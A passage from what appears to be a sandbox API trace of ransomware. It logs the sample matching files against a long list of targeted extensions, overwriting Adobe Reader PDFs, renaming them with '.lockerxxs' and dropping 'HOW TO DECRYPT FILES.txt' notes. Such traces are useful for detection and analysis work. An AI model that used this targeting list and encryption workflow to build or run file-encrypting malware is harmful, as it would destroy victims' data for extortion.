pszSpec="*.odb") returned 0 [0069.410] lstrlenA (lpString="*.odb") returned 5 [0069.410] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.java") returned 0 [0069.410] lstrlenA (lpString="*.java") returned 6 [0069.410] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.asm") returned 0 [0069.410] lstrlenA (lpString="*.asm") returned 5 [0069.410] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.pfx") returned 0 [0069.410] lstrlenA (lpString="*.pfx") returned 5 [0069.410] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.pem") returned 0 [0069.410] lstrlenA (lpString="*.pem") returned 5 [0069.410] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.p12") returned 0 [0069.410] lstrlenA (lpString="*.p12") returned 5 [0069.410] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.gpg") returned 0 [0069.410] lstrlenA (lpString="*.gpg") returned 5 [0069.410] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.vsd") returned 0 [0069.410] lstrlenA (lpString="*.vsd") returned 5 [0069.410] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.odg") returned 0 [0069.410] lstrlenA (lpString="*.odg") returned 5 [0069.410] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.raw") returned 0 [0069.411] lstrlenA (lpString="*.raw") returned 5 [0069.411] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.nef") returned 0 [0069.411] lstrlenA (lpString="*.nef") returned 5 [0069.411] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.svg") returned 0 [0069.411] lstrlenA (lpString="*.svg") returned 5 [0069.411] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.psd") returned 0 [0069.411] lstrlenA (lpString="*.psd") returned 5 [0069.411] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.vmx") returned 0 [0069.411] lstrlenA (lpString="*.vmx") returned 5 [0069.411] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.vmdk") returned 0 [0069.411] lstrlenA (lpString="*.vmdk") returned 6 [0069.411] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.vdi") returned 0 [0069.411] lstrlenA (lpString="*.vdi") returned 5 [0069.411] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.lay6") returned 0 [0069.411] lstrlenA (lpString="*.lay6") returned 6 [0069.412] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.mpeg") returned 0 [0069.412] lstrlenA (lpString="*.mpeg") returned 6 [0069.412] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.djvu") returned 0 [0069.412] lstrlenA (lpString="*.djvu") returned 6 [0069.412] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.tiff") returned 0 [0069.412] lstrlenA (lpString="*.tiff") returned 6 [0069.412] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.backup") returned 0 [0069.412] lstrlenA (lpString="*.backup") returned 8 [0069.412] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", pszSpec="*.pdf") returned 1 [0069.412] lstrlenA (lpString="*.pdf") returned 5 [0069.412] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf" [0069.412] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf" [0069.412] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf." [0069.412] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf.lockerxxs" [0069.412] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.413] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x197f2 [0069.413] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9c36ae00, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x80861b40, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9c36ae00, dwHighDateTime=0x1cb84b4)) returned 1 [0069.413] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.413] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x197cc, lpOverlapped=0x0) returned 1 [0069.418] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf") returned="AdobeID.pdf" [0069.418] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.419] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x197cc, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x197cc, lpOverlapped=0x0) returned 1 [0069.419] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0069.419] CloseHandle (hObject=0x94) returned 1 [0069.421] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\adobeid.pdf.lockerxxs")) returned 1 [0069.424] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x809de900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48d20, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0069.424] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.424] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DefaultID.pdf") returned 1 [0069.424] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DefaultID.pdf") returned 1 [0069.424] lstrcmpiA (lpString1="", lpString2="DefaultID.pdf") returned -1 [0069.424] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf") returned="AdobeID.pdf" [0069.424] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\" [0069.424] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\") returned="" [0069.424] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\HOW TO DECRYPT FILES.txt" [0069.424] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\how to decrypt files.txt")) returned 0x20 [0069.425] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\", lpString2="DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf" [0069.425] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.ems") returned 0 [0069.425] lstrlenA (lpString="*.ems") returned 5 [0069.425] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.db") returned 0 [0069.425] lstrlenA (lpString="*.db") returned 4 [0069.425] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.dbf") returned 0 [0069.425] lstrlenA (lpString="*.dbf") returned 5 [0069.425] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.myox") returned 0 [0069.425] lstrlenA (lpString="*.myox") returned 6 [0069.425] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.myo") returned 0 [0069.425] lstrlenA (lpString="*.myo") returned 5 [0069.425] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.qbw") returned 0 [0069.425] lstrlenA (lpString="*.qbw") returned 5 [0069.425] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.qbb") returned 0 [0069.425] lstrlenA (lpString="*.qbb") returned 5 [0069.425] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.qbm") returned 0 [0069.425] lstrlenA (lpString="*.qbm") returned 5 [0069.425] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.qbo") returned 0 [0069.425] lstrlenA (lpString="*.qbo") returned 5 [0069.425] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.qbx") returned 0 [0069.425] lstrlenA (lpString="*.qbx") returned 5 [0069.426] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.qba") returned 0 [0069.426] lstrlenA (lpString="*.qba") returned 5 [0069.426] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.qby") returned 0 [0069.426] lstrlenA (lpString="*.qby") returned 5 [0069.426] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.qbj") returned 0 [0069.426] lstrlenA (lpString="*.qbj") returned 5 [0069.426] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.ofx") returned 0 [0069.426] lstrlenA (lpString="*.ofx") returned 5 [0069.426] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.qif") returned 0 [0069.426] lstrlenA (lpString="*.qif") returned 5 [0069.426] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.mye") returned 0 [0069.426] lstrlenA (lpString="*.mye") returned 5 [0069.426] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.mbox") returned 0 [0069.426] lstrlenA (lpString="*.mbox") returned 6 [0069.426] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0069.426] lstrlenA (lpString="*.eml") returned 5 [0069.426] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.pst") returned 0 [0069.426] lstrlenA (lpString="*.pst") returned 5 [0069.426] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.ost") returned 0 [0069.426] lstrlenA (lpString="*.ost") returned 5 [0069.426] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.idx") returned 0 [0069.427] lstrlenA (lpString="*.idx") returned 5 [0069.427] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.dbx") returned 0 [0069.427] lstrlenA (lpString="*.dbx") returned 5 [0069.427] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.sql") returned 0 [0069.427] lstrlenA (lpString="*.sql") returned 5 [0069.427] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.mdb") returned 0 [0069.427] lstrlenA (lpString="*.mdb") returned 5 [0069.427] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.fdb") returned 0 [0069.427] lstrlenA (lpString="*.fdb") returned 5 [0069.427] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.wab") returned 0 [0069.427] lstrlenA (lpString="*.wab") returned 5 [0069.427] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.dat") returned 0 [0069.427] lstrlenA (lpString="*.dat") returned 5 [0069.427] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.txt") returned 0 [0069.427] lstrlenA (lpString="*.txt") returned 5 [0069.427] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.jpeg") returned 0 [0069.427] lstrlenA (lpString="*.jpeg") returned 6 [0069.427] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.jpg") returned 0 [0069.427] lstrlenA (lpString="*.jpg") returned 5 [0069.427] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.png") returned 0 [0069.427] lstrlenA (lpString="*.png") returned 5 [0069.427] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.php") returned 0 [0069.428] lstrlenA (lpString="*.php") returned 5 [0069.428] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.cs") returned 0 [0069.428] lstrlenA (lpString="*.cs") returned 4 [0069.428] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.cpp") returned 0 [0069.428] lstrlenA (lpString="*.cpp") returned 5 [0069.428] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.rar") returned 0 [0069.428] lstrlenA (lpString="*.rar") returned 5 [0069.428] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.zip") returned 0 [0069.428] lstrlenA (lpString="*.zip") returned 5 [0069.428] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.html") returned 0 [0069.428] lstrlenA (lpString="*.html") returned 6 [0069.428] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.htm") returned 0 [0069.428] lstrlenA (lpString="*.htm") returned 5 [0069.428] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.xlsx") returned 0 [0069.428] lstrlenA (lpString="*.xlsx") returned 6 [0069.428] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.xls") returned 0 [0069.428] lstrlenA (lpString="*.xls") returned 5 [0069.428] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.mp4") returned 0 [0069.428] lstrlenA (lpString="*.mp4") returned 5 [0069.428] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.ppt") returned 0 [0069.428] lstrlenA (lpString="*.ppt") returned 5 [0069.428] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.pptx") returned 0 [0069.428] lstrlenA (lpString="*.pptx") returned 6 [0069.429] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.doc") returned 0 [0069.429] lstrlenA (lpString="*.doc") returned 5 [0069.429] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.dot") returned 0 [0069.429] lstrlenA (lpString="*.dot") returned 5 [0069.429] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.docx") returned 0 [0069.429] lstrlenA (lpString="*.docx") returned 6 [0069.429] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.7z") returned 0 [0069.429] lstrlenA (lpString="*.7z") returned 4 [0069.429] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.tar") returned 0 [0069.429] lstrlenA (lpString="*.tar") returned 5 [0069.429] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.bz2") returned 0 [0069.429] lstrlenA (lpString="*.bz2") returned 5 [0069.429] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.gz") returned 0 [0069.429] lstrlenA (lpString="*.gz") returned 4 [0069.429] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.mkv") returned 0 [0069.429] lstrlenA (lpString="*.mkv") returned 5 [0069.429] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0069.429] lstrlenA (lpString="*.eml") returned 5 [0069.429] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.msg") returned 0 [0069.429] lstrlenA (lpString="*.msg") returned 5 [0069.430] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.edb") returned 0 [0069.430] lstrlenA (lpString="*.edb") returned 5 [0069.430] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.accdb") returned 0 [0069.430] lstrlenA (lpString="*.accdb") returned 7 [0069.430] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.odb") returned 0 [0069.430] lstrlenA (lpString="*.odb") returned 5 [0069.430] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.java") returned 0 [0069.430] lstrlenA (lpString="*.java") returned 6 [0069.430] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.asm") returned 0 [0069.430] lstrlenA (lpString="*.asm") returned 5 [0069.430] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.pfx") returned 0 [0069.430] lstrlenA (lpString="*.pfx") returned 5 [0069.430] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.pem") returned 0 [0069.430] lstrlenA (lpString="*.pem") returned 5 [0069.430] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.p12") returned 0 [0069.430] lstrlenA (lpString="*.p12") returned 5 [0069.430] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.gpg") returned 0 [0069.430] lstrlenA (lpString="*.gpg") returned 5 [0069.430] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.vsd") returned 0 [0069.430] lstrlenA (lpString="*.vsd") returned 5 [0069.431] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.odg") returned 0 [0069.431] lstrlenA (lpString="*.odg") returned 5 [0069.431] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.raw") returned 0 [0069.431] lstrlenA (lpString="*.raw") returned 5 [0069.431] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.nef") returned 0 [0069.431] lstrlenA (lpString="*.nef") returned 5 [0069.431] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.svg") returned 0 [0069.431] lstrlenA (lpString="*.svg") returned 5 [0069.431] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.psd") returned 0 [0069.431] lstrlenA (lpString="*.psd") returned 5 [0069.431] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", pszSpec="*.vmx") returned 0 [0069.431] lstrlenA (lpString="*.vmx") returned 5 [0069.431] PathMatchSpecA (pszFile="C:\\Program Files 